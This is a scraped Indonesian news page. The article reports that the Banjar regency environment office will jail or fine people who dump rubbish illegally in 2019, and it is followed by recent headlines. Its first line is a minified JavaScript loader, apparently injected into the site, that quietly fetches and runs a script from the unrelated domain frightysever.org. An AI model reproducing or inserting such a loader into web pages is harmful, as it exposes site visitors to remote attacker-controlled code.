(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Awas, Buang Sampah Sembarangan di Banjar Kini Bisa Dipenjara atau Denda!


MARTAPURA, Menjamurnya sampah liar di sejumlah lokasi yang menyebabkan kumuh menjadikan Dinas Lingkungan Hidup (DLH) Banjar bersikap tegas. Tahun 2019 ini, mereka akan tingkatkan penegakan hukum kepada pelaku pembuang sampah mulai dari hukuman penjara hingga sangsi denda.

Demikian ditegaskan Kepala DLH Kabupaten Banjar Boyke Tristiyanto terkait semakin banyaknya TPS liar yang bersebaran di beberapa wilayah di Kabupaten Banjar.

“Di 2019 ini kita akan lakukan tidakan yang lebih keras lagi, sehingga jika ada yang membuang sampah tidak sesuai denga peraturan daerah akan dikenakan sanksi. Ya kalau tidak kurungan maka didenda. Kita lakukan ini karena sebelumnya sudah beberapa kali melakukan sosialisasi namun tidak mempan,” katanya, Rabu (2/1) kepada Kanalkalimantan.com.

Menurut Boyke, dalam waktu dekat pihaknya akan melakukan pertemuan untuk membahas persoalan ini dengan beberapa bidang terkait. Mulai bidang tata lingkungan, bidang pengendalian, pencemaran dan kerusakan lingkungan, hingga bidang pengelolaan sampah, pertanaman dan limbah B3.

Seperti diberikan sebelumnya, TPS liar banyak dijumpai dibeberpa kawasan lingkup Kabupaten Banjar, seperti di antaranya kawasan Kecamatan Kertak Hanyar dan Kecamatan Gambut. Keberadaan TPS resmi yang masih kurang disinyalir menjadi salah satu factor cikal bakal  terbentuknya TPS liar. Total jumlah TPS liar di Kertakhanyar dan Gambut saja yang terdata ada 19 titik. Sementara pihaknya tetap mengangkut di TPS liar tersebut dalam kurun waktu 24 jam, menggunakan 12 armada truk.

“Hingga sekarang keterbatasan armada transportasi juga menjadi salah satu kendala yang kita hadapi, sehingga sampah Dibeberapa TPS tidak terangkut hingga siang hari,” akunya.

Disamping itu selusi kedua untuk mengatasi hal tersebut, pihaknya juga akan mengusulkan kepada kepala daerah untuk dapat mengkonfirmasikan kepada lurah dan kepala desa beserta jajarannya, untuk penyediaan penyebaran TPS dengan membuatnya dilahan yang tidak terlalu luas dan diletakkan beberapa meter dari jalan A yani.

“Nantinya kita juga akan mengusulkan kepada Bupati Banjar supaya lurah dan jajarannya bisa membuatkan TPS yang diletakan agak masuk kedalam, sehingga disepanjangan jalan A yani itu nantinya tidak ada lagi TPS yang dijumpai,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

11 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

11 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

11 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

12 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

12 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

13 jam ago

This website uses cookies.